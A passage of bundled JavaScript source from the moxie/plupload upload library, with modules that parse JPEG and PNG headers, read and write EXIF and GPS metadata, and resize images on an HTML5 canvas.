Uint8Array(data.slice(0, idx)), 0); } arr.set(new Uint8Array(value), idx); arr.set(new Uint8Array(data.slice(idx + size)), idx + value.byteLength); this.clear(); data = arr.buffer; _dv = new DataView(data); break; } default: return data; } }, length: function() { return data ? data.byteLength : 0; }, clear: function() { _dv = data = null; } }); } function UTF16StringReader(data) { Basic.extend(this, { readByteAt: function(idx) { return data.charCodeAt(idx); }, writeByteAt: function(idx, value) { putstr(String.fromCharCode(value), idx, 1); }, SEGMENT: function(idx, length, segment) { switch (arguments.length) { case 1: return data.substr(idx); case 2: return data.substr(idx, length); case 3: putstr(segment !== null ? segment : '', idx, length); break; default: return data; } }, length: function() { return data ? data.length : 0; }, clear: function() { data = null; } }); function putstr(segment, idx, length) { length = arguments.length === 3 ? length : data.length - idx - 1; data = data.substr(0, idx) + segment + data.substr(length + idx); } } return BinaryReader; }); // Included from: src/javascript/runtime/html5/image/JPEGHeaders.js /** * JPEGHeaders.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ /** @class moxie/runtime/html5/image/JPEGHeaders @private */ define("moxie/runtime/html5/image/JPEGHeaders", [ "moxie/runtime/html5/utils/BinaryReader", "moxie/core/Exceptions" ], function(BinaryReader, x) { return function JPEGHeaders(data) { var headers = [], _br, idx, marker, length = 0; _br = new BinaryReader(data); // Check if data is jpeg if (_br.SHORT(0) !== 0xFFD8) { _br.clear(); throw new x.ImageError(x.ImageError.WRONG_FORMAT); } idx = 2; while (idx <= _br.length()) { marker = _br.SHORT(idx); // omit RST (restart) markers if (marker >= 0xFFD0 && marker <= 0xFFD7) { idx += 2; continue; } // no headers allowed after SOS marker if (marker === 0xFFDA || marker === 0xFFD9) { break; } length = _br.SHORT(idx + 2) + 2; // APPn marker detected if (marker >= 0xFFE1 && marker <= 0xFFEF) { headers.push({ hex: marker, name: 'APP' + (marker & 0x000F), start: idx, length: length, segment: _br.SEGMENT(idx, length) }); } idx += length; } _br.clear(); return { headers: headers, restore: function(data) { var max, i, br; br = new BinaryReader(data); idx = br.SHORT(2) == 0xFFE0 ? 4 + br.SHORT(4) : 2; for (i = 0, max = headers.length; i < max; i++) { br.SEGMENT(idx, 0, headers[i].segment); idx += headers[i].length; } data = br.SEGMENT(); br.clear(); return data; }, strip: function(data) { var br, headers, jpegHeaders, i; jpegHeaders = new JPEGHeaders(data); headers = jpegHeaders.headers; jpegHeaders.purge(); br = new BinaryReader(data); i = headers.length; while (i--) { br.SEGMENT(headers[i].start, headers[i].length, ''); } data = br.SEGMENT(); br.clear(); return data; }, get: function(name) { var array = []; for (var i = 0, max = headers.length; i < max; i++) { if (headers[i].name === name.toUpperCase()) { array.push(headers[i].segment); } } return array; }, set: function(name, segment) { var array = [], i, ii, max; if (typeof(segment) === 'string') { array.push(segment); } else { array = segment; } for (i = ii = 0, max = headers.length; i < max; i++) { if (headers[i].name === name.toUpperCase()) { headers[i].segment = array[ii]; headers[i].length = array[ii].length; ii++; } if (ii >= array.length) { break; } } }, purge: function() { this.headers = headers = []; } }; }; }); // Included from: src/javascript/runtime/html5/image/ExifParser.js /** * ExifParser.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ /** @class moxie/runtime/html5/image/ExifParser @private */ define("moxie/runtime/html5/image/ExifParser", [ "moxie/core/utils/Basic", "moxie/runtime/html5/utils/BinaryReader", "moxie/core/Exceptions" ], function(Basic, BinaryReader, x) { function ExifParser(data) { var __super__, tags, tagDescs, offsets, idx, Tiff; BinaryReader.call(this, data); tags = { tiff: { /* The image orientation viewed in terms of rows and columns. 1 = The 0th row is at the visual top of the image, and the 0th column is the visual left-hand side. 2 = The 0th row is at the visual top of the image, and the 0th column is the visual right-hand side. 3 = The 0th row is at the visual bottom of the image, and the 0th column is the visual right-hand side. 4 = The 0th row is at the visual bottom of the image, and the 0th column is the visual left-hand side. 5 = The 0th row is the visual left-hand side of the image, and the 0th column is the visual top. 6 = The 0th row is the visual right-hand side of the image, and the 0th column is the visual top. 7 = The 0th row is the visual right-hand side of the image, and the 0th column is the visual bottom. 8 = The 0th row is the visual left-hand side of the image, and the 0th column is the visual bottom. */ 0x0112: 'Orientation', 0x010E: 'ImageDescription', 0x010F: 'Make', 0x0110: 'Model', 0x0131: 'Software', 0x8769: 'ExifIFDPointer', 0x8825: 'GPSInfoIFDPointer' }, exif: { 0x9000: 'ExifVersion', 0xA001: 'ColorSpace', 0xA002: 'PixelXDimension', 0xA003: 'PixelYDimension', 0x9003: 'DateTimeOriginal', 0x829A: 'ExposureTime', 0x829D: 'FNumber', 0x8827: 'ISOSpeedRatings', 0x9201: 'ShutterSpeedValue', 0x9202: 'ApertureValue' , 0x9207: 'MeteringMode', 0x9208: 'LightSource', 0x9209: 'Flash', 0x920A: 'FocalLength', 0xA402: 'ExposureMode', 0xA403: 'WhiteBalance', 0xA406: 'SceneCaptureType', 0xA404: 'DigitalZoomRatio', 0xA408: 'Contrast', 0xA409: 'Saturation', 0xA40A: 'Sharpness' }, gps: { 0x0000: 'GPSVersionID', 0x0001: 'GPSLatitudeRef', 0x0002: 'GPSLatitude', 0x0003: 'GPSLongitudeRef', 0x0004: 'GPSLongitude' }, thumb: { 0x0201: 'JPEGInterchangeFormat', 0x0202: 'JPEGInterchangeFormatLength' } }; tagDescs = { 'ColorSpace': { 1: 'sRGB', 0: 'Uncalibrated' }, 'MeteringMode': { 0: 'Unknown', 1: 'Average', 2: 'CenterWeightedAverage', 3: 'Spot', 4: 'MultiSpot', 5: 'Pattern', 6: 'Partial', 255: 'Other' }, 'LightSource': { 1: 'Daylight', 2: 'Fliorescent', 3: 'Tungsten', 4: 'Flash', 9: 'Fine weather', 10: 'Cloudy weather', 11: 'Shade', 12: 'Daylight fluorescent (D 5700 - 7100K)', 13: 'Day white fluorescent (N 4600 -5400K)', 14: 'Cool white fluorescent (W 3900 - 4500K)', 15: 'White fluorescent (WW 3200 - 3700K)', 17: 'Standard light A', 18: 'Standard light B', 19: 'Standard light C', 20: 'D55', 21: 'D65', 22: 'D75', 23: 'D50', 24: 'ISO studio tungsten', 255: 'Other' }, 'Flash': { 0x0000: 'Flash did not fire', 0x0001: 'Flash fired', 0x0005: 'Strobe return light not detected', 0x0007: 'Strobe return light detected', 0x0009: 'Flash fired, compulsory flash mode', 0x000D: 'Flash fired, compulsory flash mode, return light not detected', 0x000F: 'Flash fired, compulsory flash mode, return light detected', 0x0010: 'Flash did not fire, compulsory flash mode', 0x0018: 'Flash did not fire, auto mode', 0x0019: 'Flash fired, auto mode', 0x001D: 'Flash fired, auto mode, return light not detected', 0x001F: 'Flash fired, auto mode, return light detected', 0x0020: 'No flash function', 0x0041: 'Flash fired, red-eye reduction mode', 0x0045: 'Flash fired, red-eye reduction mode, return light not detected', 0x0047: 'Flash fired, red-eye reduction mode, return light detected', 0x0049: 'Flash fired, compulsory flash mode, red-eye reduction mode', 0x004D: 'Flash fired, compulsory flash mode, red-eye reduction mode, return light not detected', 0x004F: 'Flash fired, compulsory flash mode, red-eye reduction mode, return light detected', 0x0059: 'Flash fired, auto mode, red-eye reduction mode', 0x005D: 'Flash fired, auto mode, return light not detected, red-eye reduction mode', 0x005F: 'Flash fired, auto mode, return light detected, red-eye reduction mode' }, 'ExposureMode': { 0: 'Auto exposure', 1: 'Manual exposure', 2: 'Auto bracket' }, 'WhiteBalance': { 0: 'Auto white balance', 1: 'Manual white balance' }, 'SceneCaptureType': { 0: 'Standard', 1: 'Landscape', 2: 'Portrait', 3: 'Night scene' }, 'Contrast': { 0: 'Normal', 1: 'Soft', 2: 'Hard' }, 'Saturation': { 0: 'Normal', 1: 'Low saturation', 2: 'High saturation' }, 'Sharpness': { 0: 'Normal', 1: 'Soft', 2: 'Hard' }, // GPS related 'GPSLatitudeRef': { N: 'North latitude', S: 'South latitude' }, 'GPSLongitudeRef': { E: 'East longitude', W: 'West longitude' } }; offsets = { tiffHeader: 10 }; idx = offsets.tiffHeader; __super__ = { clear: this.clear }; // Public functions Basic.extend(this, { read: function() { try { return ExifParser.prototype.read.apply(this, arguments); } catch (ex) { throw new x.ImageError(x.ImageError.INVALID_META_ERR); } }, write: function() { try { return ExifParser.prototype.write.apply(this, arguments); } catch (ex) { throw new x.ImageError(x.ImageError.INVALID_META_ERR); } }, UNDEFINED: function() { return this.BYTE.apply(this, arguments); }, RATIONAL: function(idx) { return this.LONG(idx) / this.LONG(idx + 4) }, SRATIONAL: function(idx) { return this.SLONG(idx) / this.SLONG(idx + 4) }, ASCII: function(idx) { return this.CHAR(idx); }, TIFF: function() { return Tiff || null; }, EXIF: function() { var Exif = null; if (offsets.exifIFD) { try { Exif = extractTags.call(this, offsets.exifIFD, tags.exif); } catch(ex) { return null; } // Fix formatting of some tags if (Exif.ExifVersion && Basic.typeOf(Exif.ExifVersion) === 'array') { for (var i = 0, exifVersion = ''; i < Exif.ExifVersion.length; i++) { exifVersion += String.fromCharCode(Exif.ExifVersion[i]); } Exif.ExifVersion = exifVersion; } } return Exif; }, GPS: function() { var GPS = null; if (offsets.gpsIFD) { try { GPS = extractTags.call(this, offsets.gpsIFD, tags.gps); } catch (ex) { return null; } // iOS devices (and probably some others) do not put in GPSVersionID tag (why?..) if (GPS.GPSVersionID && Basic.typeOf(GPS.GPSVersionID) === 'array') { GPS.GPSVersionID = GPS.GPSVersionID.join('.'); } } return GPS; }, thumb: function() { if (offsets.IFD1) { try { var IFD1Tags = extractTags.call(this, offsets.IFD1, tags.thumb); if ('JPEGInterchangeFormat' in IFD1Tags) { return this.SEGMENT(offsets.tiffHeader + IFD1Tags.JPEGInterchangeFormat, IFD1Tags.JPEGInterchangeFormatLength); } } catch (ex) {} } return null; }, setExif: function(tag, value) { // Right now only setting of width/height is possible if (tag !== 'PixelXDimension' && tag !== 'PixelYDimension') { return false; } return setTag.call(this, 'exif', tag, value); }, clear: function() { __super__.clear(); data = tags = tagDescs = Tiff = offsets = __super__ = null; } }); // Check if that's APP1 and that it has EXIF if (this.SHORT(0) !== 0xFFE1 || this.STRING(4, 5).toUpperCase() !== "EXIF\0") { throw new x.ImageError(x.ImageError.INVALID_META_ERR); } // Set read order of multi-byte data this.littleEndian = (this.SHORT(idx) == 0x4949); // Check if always present bytes are indeed present if (this.SHORT(idx+=2) !== 0x002A) { throw new x.ImageError(x.ImageError.INVALID_META_ERR); } offsets.IFD0 = offsets.tiffHeader + this.LONG(idx += 2); Tiff = extractTags.call(this, offsets.IFD0, tags.tiff); if ('ExifIFDPointer' in Tiff) { offsets.exifIFD = offsets.tiffHeader + Tiff.ExifIFDPointer; delete Tiff.ExifIFDPointer; } if ('GPSInfoIFDPointer' in Tiff) { offsets.gpsIFD = offsets.tiffHeader + Tiff.GPSInfoIFDPointer; delete Tiff.GPSInfoIFDPointer; } if (Basic.isEmptyObj(Tiff)) { Tiff = null; } // check if we have a thumb as well var IFD1Offset = this.LONG(offsets.IFD0 + this.SHORT(offsets.IFD0) * 12 + 2); if (IFD1Offset) { offsets.IFD1 = offsets.tiffHeader + IFD1Offset; } function extractTags(IFD_offset, tags2extract) { var data = this; var length, i, tag, type, count, size, offset, value, values = [], hash = {}; var types = { 1 : 'BYTE', 7 : 'UNDEFINED', 2 : 'ASCII', 3 : 'SHORT', 4 : 'LONG', 5 : 'RATIONAL', 9 : 'SLONG', 10: 'SRATIONAL' }; var sizes = { 'BYTE' : 1, 'UNDEFINED' : 1, 'ASCII' : 1, 'SHORT' : 2, 'LONG' : 4, 'RATIONAL' : 8, 'SLONG' : 4, 'SRATIONAL' : 8 }; length = data.SHORT(IFD_offset); // The size of APP1 including all these elements shall not exceed the 64 Kbytes specified in the JPEG standard. for (i = 0; i < length; i++) { values = []; // Set binary reader pointer to beginning of the next tag offset = IFD_offset + 2 + i*12; tag = tags2extract[data.SHORT(offset)]; if (tag === undefined) { continue; // Not the tag we requested } type = types[data.SHORT(offset+=2)]; count = data.LONG(offset+=2); size = sizes[type]; if (!size) { throw new x.ImageError(x.ImageError.INVALID_META_ERR); } offset += 4; // tag can only fit 4 bytes of data, if data is larger we should look outside if (size * count > 4) { // instead of data tag contains an offset of the data offset = data.LONG(offset) + offsets.tiffHeader; } // in case we left the boundaries of data throw an early exception if (offset + size * count >= this.length()) { throw new x.ImageError(x.ImageError.INVALID_META_ERR); } // special care for the string if (type === 'ASCII') { hash[tag] = Basic.trim(data.STRING(offset, count).replace(/\0$/, '')); // strip trailing NULL continue; } else { values = data.asArray(type, offset, count); value = (count == 1 ? values[0] : values); if (tagDescs.hasOwnProperty(tag) && typeof value != 'object') { hash[tag] = tagDescs[tag][value]; } else { hash[tag] = value; } } } return hash; } // At the moment only setting of simple (LONG) values, that do not require offset recalculation, is supported function setTag(ifd, tag, value) { var offset, length, tagOffset, valueOffset = 0; // If tag name passed translate into hex key if (typeof(tag) === 'string') { var tmpTags = tags[ifd.toLowerCase()]; for (var hex in tmpTags) { if (tmpTags[hex] === tag) { tag = hex; break; } } } offset = offsets[ifd.toLowerCase() + 'IFD']; length = this.SHORT(offset); for (var i = 0; i < length; i++) { tagOffset = offset + 12 * i + 2; if (this.SHORT(tagOffset) == tag) { valueOffset = tagOffset + 8; break; } } if (!valueOffset) { return false; } try { this.write(valueOffset, value, 4); } catch(ex) { return false; } return true; } } ExifParser.prototype = BinaryReader.prototype; return ExifParser; }); // Included from: src/javascript/runtime/html5/image/JPEG.js /** * JPEG.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ /** @class moxie/runtime/html5/image/JPEG @private */ define("moxie/runtime/html5/image/JPEG", [ "moxie/core/utils/Basic", "moxie/core/Exceptions", "moxie/runtime/html5/image/JPEGHeaders", "moxie/runtime/html5/utils/BinaryReader", "moxie/runtime/html5/image/ExifParser" ], function(Basic, x, JPEGHeaders, BinaryReader, ExifParser) { function JPEG(data) { var _br, _hm, _ep, _info; _br = new BinaryReader(data); // check if it is jpeg if (_br.SHORT(0) !== 0xFFD8) { throw new x.ImageError(x.ImageError.WRONG_FORMAT); } // backup headers _hm = new JPEGHeaders(data); // extract exif info try { _ep = new ExifParser(_hm.get('app1')[0]); } catch(ex) {} // get dimensions _info = _getDimensions.call(this); Basic.extend(this, { type: 'image/jpeg', size: _br.length(), width: _info && _info.width || 0, height: _info && _info.height || 0, setExif: function(tag, value) { if (!_ep) { return false; // or throw an exception } if (Basic.typeOf(tag) === 'object') { Basic.each(tag, function(value, tag) { _ep.setExif(tag, value); }); } else { _ep.setExif(tag, value); } // update internal headers _hm.set('app1', _ep.SEGMENT()); }, writeHeaders: function() { if (!arguments.length) { // if no arguments passed, update headers internally return _hm.restore(data); } return _hm.restore(arguments[0]); }, stripHeaders: function(data) { return _hm.strip(data); }, purge: function() { _purge.call(this); } }); if (_ep) { this.meta = { tiff: _ep.TIFF(), exif: _ep.EXIF(), gps: _ep.GPS(), thumb: _getThumb() }; } function _getDimensions(br) { var idx = 0 , marker , length ; if (!br) { br = _br; } // examine all through the end, since some images might have very large APP segments while (idx <= br.length()) { marker = br.SHORT(idx += 2); if (marker >= 0xFFC0 && marker <= 0xFFC3) { // SOFn idx += 5; // marker (2 bytes) + length (2 bytes) + Sample precision (1 byte) return { height: br.SHORT(idx), width: br.SHORT(idx += 2) }; } length = br.SHORT(idx += 2); idx += length - 2; } return null; } function _getThumb() { var data = _ep.thumb() , br , info ; if (data) { br = new BinaryReader(data); info = _getDimensions(br); br.clear(); if (info) { info.data = data; return info; } } return null; } function _purge() { if (!_ep || !_hm || !_br) { return; // ignore any repeating purge requests } _ep.clear(); _hm.purge(); _br.clear(); _info = _hm = _ep = _br = null; } } return JPEG; }); // Included from: src/javascript/runtime/html5/image/PNG.js /** * PNG.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ /** @class moxie/runtime/html5/image/PNG @private */ define("moxie/runtime/html5/image/PNG", [ "moxie/core/Exceptions", "moxie/core/utils/Basic", "moxie/runtime/html5/utils/BinaryReader" ], function(x, Basic, BinaryReader) { function PNG(data) { var _br, _hm, _ep, _info; _br = new BinaryReader(data); // check if it's png (function() { var idx = 0, i = 0 , signature = [0x8950, 0x4E47, 0x0D0A, 0x1A0A] ; for (i = 0; i < signature.length; i++, idx += 2) { if (signature[i] != _br.SHORT(idx)) { throw new x.ImageError(x.ImageError.WRONG_FORMAT); } } }()); function _getDimensions() { var chunk, idx; chunk = _getChunkAt.call(this, 8); if (chunk.type == 'IHDR') { idx = chunk.start; return { width: _br.LONG(idx), height: _br.LONG(idx += 4) }; } return null; } function _purge() { if (!_br) { return; // ignore any repeating purge requests } _br.clear(); data = _info = _hm = _ep = _br = null; } _info = _getDimensions.call(this); Basic.extend(this, { type: 'image/png', size: _br.length(), width: _info.width, height: _info.height, purge: function() { _purge.call(this); } }); // for PNG we can safely trigger purge automatically, as we do not keep any data for later _purge.call(this); function _getChunkAt(idx) { var length, type, start, CRC; length = _br.LONG(idx); type = _br.STRING(idx += 4, 4); start = idx += 4; CRC = _br.LONG(idx + length); return { length: length, type: type, start: start, CRC: CRC }; } } return PNG; }); // Included from: src/javascript/runtime/html5/image/ImageInfo.js /** * ImageInfo.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ /** @class moxie/runtime/html5/image/ImageInfo @private */ define("moxie/runtime/html5/image/ImageInfo", [ "moxie/core/utils/Basic", "moxie/core/Exceptions", "moxie/runtime/html5/image/JPEG", "moxie/runtime/html5/image/PNG" ], function(Basic, x, JPEG, PNG) { /** Optional image investigation tool for HTML5 runtime. Provides the following features: - ability to distinguish image type (JPEG or PNG) by signature - ability to extract image width/height directly from it's internals, without preloading in memory (fast) - ability to extract APP headers from JPEGs (Exif, GPS, etc) - ability to replace width/height tags in extracted JPEG headers - ability to restore APP headers, that were for example stripped during image manipulation @class ImageInfo @constructor @param {String} data Image source as binary string */ return function(data) { var _cs = [JPEG, PNG], _img; // figure out the format, throw: ImageError.WRONG_FORMAT if not supported _img = (function() { for (var i = 0; i < _cs.length; i++) { try { return new _cs[i](data); } catch (ex) { // console.info(ex); } } throw new x.ImageError(x.ImageError.WRONG_FORMAT); }()); Basic.extend(this, { /** Image Mime Type extracted from it's depths @property type @type {String} @default '' */ type: '', /** Image size in bytes @property size @type {Number} @default 0 */ size: 0, /** Image width extracted from image source @property width @type {Number} @default 0 */ width: 0, /** Image height extracted from image source @property height @type {Number} @default 0 */ height: 0, /** Sets Exif tag. Currently applicable only for width and height tags. Obviously works only with JPEGs. @method setExif @param {String} tag Tag to set @param {Mixed} value Value to assign to the tag */ setExif: function() {}, /** Restores headers to the source. @method writeHeaders @param {String} data Image source as binary string @return {String} Updated binary string */ writeHeaders: function(data) { return data; }, /** Strip all headers from the source. @method stripHeaders @param {String} data Image source as binary string @return {String} Updated binary string */ stripHeaders: function(data) { return data; }, /** Dispose resources. @method purge */ purge: function() { data = null; } }); Basic.extend(this, _img); this.purge = function() { _img.purge(); _img = null; }; }; }); // Included from: src/javascript/runtime/html5/image/MegaPixel.js /** (The MIT License) Copyright (c) 2012 Shinichi Tomita <shinichi.tomita@gmail.com>; Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the 'Software'), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ /** * Mega pixel image rendering library for iOS6 Safari * * Fixes iOS6 Safari's image file rendering issue for large size image (over mega-pixel), * which causes unexpected subsampling when drawing it in canvas. * By using this library, you can safely render the image with proper stretching. * * Copyright (c) 2012 Shinichi Tomita <shinichi.tomita@gmail.com> * Released under the MIT license */ /** @class moxie/runtime/html5/image/MegaPixel @private */ define("moxie/runtime/html5/image/MegaPixel", [], function() { /** * Rendering image element (with resizing) into the canvas element */ function renderImageToCanvas(img, canvas, options) { var iw = img.naturalWidth, ih = img.naturalHeight; var width = options.width, height = options.height; var x = options.x || 0, y = options.y || 0; var ctx = canvas.getContext('2d'); if (detectSubsampling(img)) { iw /= 2; ih /= 2; } var d = 1024; // size of tiling canvas var tmpCanvas = document.createElement('canvas'); tmpCanvas.width = tmpCanvas.height = d; var tmpCtx = tmpCanvas.getContext('2d'); var vertSquashRatio = detectVerticalSquash(img, iw, ih); var sy = 0; while (sy < ih) { var sh = sy + d > ih ? ih - sy : d; var sx = 0; while (sx < iw) { var sw = sx + d > iw ? iw - sx : d; tmpCtx.clearRect(0, 0, d, d); tmpCtx.drawImage(img, -sx, -sy); var dx = (sx * width / iw + x) << 0; var dw = Math.ceil(sw * width / iw); var dy = (sy * height / ih / vertSquashRatio + y) << 0; var dh = Math.ceil(sh * height / ih / vertSquashRatio); ctx.drawImage(tmpCanvas, 0, 0, sw, sh, dx, dy, dw, dh); sx += d; } sy += d; } tmpCanvas = tmpCtx = null; } /** * Detect subsampling in loaded image. * In iOS, larger images than 2M pixels may be subsampled in rendering. */ function detectSubsampling(img) { var iw = img.naturalWidth, ih = img.naturalHeight; if (iw * ih > 1024 * 1024) { // subsampling may happen over megapixel image var canvas = document.createElement('canvas'); canvas.width = canvas.height = 1; var ctx = canvas.getContext('2d'); ctx.drawImage(img, -iw + 1, 0); // subsampled image becomes half smaller in rendering size. // check alpha channel value to confirm image is covering edge pixel or not. // if alpha value is 0 image is not covering, hence subsampled. return ctx.getImageData(0, 0, 1, 1).data[3] === 0; } else { return false; } } /** * Detecting vertical squash in loaded image. * Fixes a bug which squash image vertically while drawing into canvas for some images. */ function detectVerticalSquash(img, iw, ih) { var canvas = document.createElement('canvas'); canvas.width = 1; canvas.height = ih; var ctx = canvas.getContext('2d'); ctx.drawImage(img, 0, 0); var data = ctx.getImageData(0, 0, 1, ih).data; // search image edge pixel position in case it is squashed vertically. var sy = 0; var ey = ih; var py = ih; while (py > sy) { var alpha = data[(py - 1) * 4 + 3]; if (alpha === 0) { ey = py; } else { sy = py; } py = (ey + sy) >> 1; } canvas = null; var ratio = (py / ih); return (ratio === 0) ? 1 : ratio; } return { isSubsampled: detectSubsampling, renderTo: renderImageToCanvas }; }); // Included from: src/javascript/runtime/html5/image/Image.js /** * Image.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ /** @class moxie/runtime/html5/image/Image @private */ define("moxie/runtime/html5/image/Image", [ "moxie/runtime/html5/Runtime", "moxie/core/utils/Basic", "moxie/core/Exceptions", "moxie/core/utils/Encode", "moxie/file/Blob", "moxie/file/File", "moxie/runtime/html5/image/ImageInfo", "moxie/runtime/html5/image/MegaPixel", "moxie/core/utils/Mime", "moxie/core/utils/Env" ], function(extensions, Basic, x, Encode, Blob, File, ImageInfo, MegaPixel, Mime, Env) { function HTML5Image() { var me = this , _img, _imgInfo, _canvas, _binStr, _blob , _modified = false // is set true whenever image is modified , _preserveHeaders = true ; Basic.extend(this, { loadFromBlob: function(blob) { var comp = this, I = comp.getRuntime() , asBinary = arguments.length > 1 ? arguments[1] : true ; if (!I.can('access_binary')) { throw new x.RuntimeError(x.RuntimeError.NOT_SUPPORTED_ERR); } _blob = blob; if (blob.isDetached()) { _binStr = blob.getSource(); _preload.call(this, _binStr); return; } else { _readAsDataUrl.call(this, blob.getSource(), function(dataUrl) { if (asBinary) { _binStr = _toBinary(dataUrl); } _preload.call(comp, dataUrl); }); } }, loadFromImage: function(img, exact) { this.meta = img.meta; _blob = new File(null, { name: img.name, size: img.size, type: img.type }); _preload.call(this, exact ? (_binStr = img.getAsBinaryString()) : img.getAsDataURL()); }, getInfo: function() { var I = this.getRuntime(), info; if (!_imgInfo && _binStr && I.can('access_image_binary')) { _imgInfo = new ImageInfo(_binStr); } info = { width: _getImg().width || 0, height: _getImg().height || 0, type: _blob.type || Mime.getFileMime(_blob.name), size: _binStr && _binStr.length || _blob.size || 0, name: _blob.name || '', meta: _imgInfo && _imgInfo.meta || this.meta || {} }; // store thumbnail data as blob if (info.meta && info.meta.thumb && !(info.meta.thumb.data instanceof Blob)) { info.meta.thumb.data = new Blob(null, { type: 'image/jpeg', data: info.meta.thumb.data }); } return info; }, downsize: function() { _downsize.apply(this, arguments); }, getAsCanvas: function() { if (_canvas) { _canvas.id = this.uid + '_canvas'; } return _canvas; }, getAsBlob: function(type, quality) { if (type !== this.type) { // if different mime type requested prepare image for conversion _downsize.call(this, this.width, this.height, false); } return new File(null, { name: _blob.name || '', type: type, data: me.getAsBinaryString.call(this, type, quality) }); }, getAsDataURL: function(type) { var quality = arguments[1] || 90; // if image has not been modified, return the source right away if (!_modified) { return _img.src; } if ('image/jpeg' !== type) { return _canvas.toDataURL('image/png'); } else { try { // older Geckos used to result in an exception on quality argument return _canvas.toDataURL('image/jpeg', quality/100); } catch (ex) { return _canvas.toDataURL('image/jpeg'); } } }, getAsBinaryString: function(type, quality) { // if image has not been modified, return the source right away if (!_modified) { // if image was not loaded from binary string if (!_binStr) { _binStr = _toBinary(me.getAsDataURL(type, quality)); } return _binStr; } if ('image/jpeg' !== type) { _binStr = _toBinary(me.getAsDataURL(type, quality)); } else { var dataUrl; // if jpeg if (!quality) { quality = 90; } try { // older Geckos used to result in an exception on quality argument dataUrl = _canvas.toDataURL('image/jpeg', quality/100); } catch (ex) { dataUrl = _canvas.toDataURL('image/jpeg'); } _binStr = _toBinary(dataUrl); if (_imgInfo) { _binStr = _imgInfo.stripHeaders(_binStr); if (_preserveHeaders) { // update dimensions info in exif if (_imgInfo.meta && _imgInfo.meta.exif) { _imgInfo.setExif({ PixelXDimension: this.width, PixelYDimension: this.height }); } // re-inject the headers _binStr = _imgInfo.writeHeaders(_binStr); } // will be re-created from fresh on next getInfo call _imgInfo.purge(); _imgInfo = null; } } _modified = false; return _binStr; }, destroy: function() { me = null; _purge.call(this); this.getRuntime().getShim().removeInstance(this.uid); } }); function _getImg() { if (!_canvas && !_img) { throw new x.ImageError(x.DOMException.INVALID_STATE_ERR); } return _canvas || _img; } function _toBinary(str) { return Encode.atob(str.substring(str.indexOf('base64,') + 7)); } function _toDataUrl(str, type) { return 'data:' + (type || '') + ';base64,' + Encode.btoa(str); } function _preload(str) { var comp = this; _img = new Image(); _img.onerror = function() { _purge.call(this); comp.trigger('error', x.ImageError.WRONG_FORMAT); }; _img.onload = function() { comp.trigger('load'); }; _img.src = str.substr(0, 5) == 'data:' ? str : _toDataUrl(str, _blob.type); } function _readAsDataUrl(file, callback) { var comp = this, fr; // use FileReader if it's available if (window.FileReader) { fr = new FileReader(); fr.onload = function() { callback(this.result); }; fr.onerror = function() { comp.trigger('error', x.ImageError.WRONG_FORMAT); }; fr.readAsDataURL(file); } else { return callback(file.getAsDataURL()); } } function _downsize(width, height, crop, preserveHeaders) { var self = this , scale , mathFn , x = 0 , y = 0 , img , destWidth , destHeight , orientation ; _preserveHeaders = preserveHeaders; // we will need to check this on export (see getAsBinaryString()) // take into account orientation tag orientation = (this.meta && this.meta.tiff && this.meta.tiff.Orientation) || 1; if (Basic.inArray(orientation, [5,6,7,8]) !== -1) { // values that require 90 degree rotation // swap dimensions var tmp = width; width = height; height = tmp; } img = _getImg(); // unify dimensions if (!crop) { scale = Math.min(width/img.width, height/img.height); } else { // one of the dimensions may exceed the actual image dimensions - we need to take the smallest value width = Math.min(width, img.width); height = Math.min(height, img.height); scale = Math.max(width/img.width, height/img.height); } // we only downsize here if (scale > 1 && !crop && preserveHeaders) { this.trigger('Resize'); return; } // prepare canvas if necessary if (!_canvas) { _canvas = document.createElement("canvas"); } // calculate dimensions of proportionally resized image destWidth = Math.round(img.width * scale); destHeight = Math.round(img.height * scale); // scale image and canvas if (crop) { _canvas.width = width; _canvas.height = height; // if dimensions of the resulting image still larger than canvas, center it if (destWidth > width) { x = Math.round((destWidth - width) / 2); } if (destHeight > height) { y = Math.round((destHeight - height) / 2); } } else { _canvas.width = destWidth; _canvas.height = destHeight; } // rotate if required, according to orientation tag if (!_preserveHeaders) { _rotateToOrientaion(_canvas.width, _canvas.height, orientation); } _drawToCanvas.call(this, img, _canvas, -x, -y, destWidth, destHeight); this.width = _canvas.width; this.height = _canvas.height; _modified = true; self.trigger('Resize'); } function _drawToCanvas(img, canvas, x, y, w, h) { if (Env.OS === 'iOS') { // avoid squish bug in iOS6 MegaPixel.renderTo(img, canvas, { width: w, height: h, x: x, y: y }); } else { var ctx = canvas.getContext('2d'); ctx.drawImage(img, x, y, w, h); } } /** * Transform canvas coordination according to specified frame size and orientation * Orientation value is from EXIF tag * @author Shinichi Tomita <shinichi.tomita@gmail.com> */ function _rotateToOrientaion(width, height, orientation) { switch (orientation) { case 5: case 6: case 7: case 8: _canvas.width = height; _canvas.height = width; break; default: _canvas.width = width; _canvas.height = height; } /** 1 = The 0th row is at the visual top of the image, and the 0th column is the visual left-hand side. 2 = The 0th row is at the visual top of the image, and the 0th column 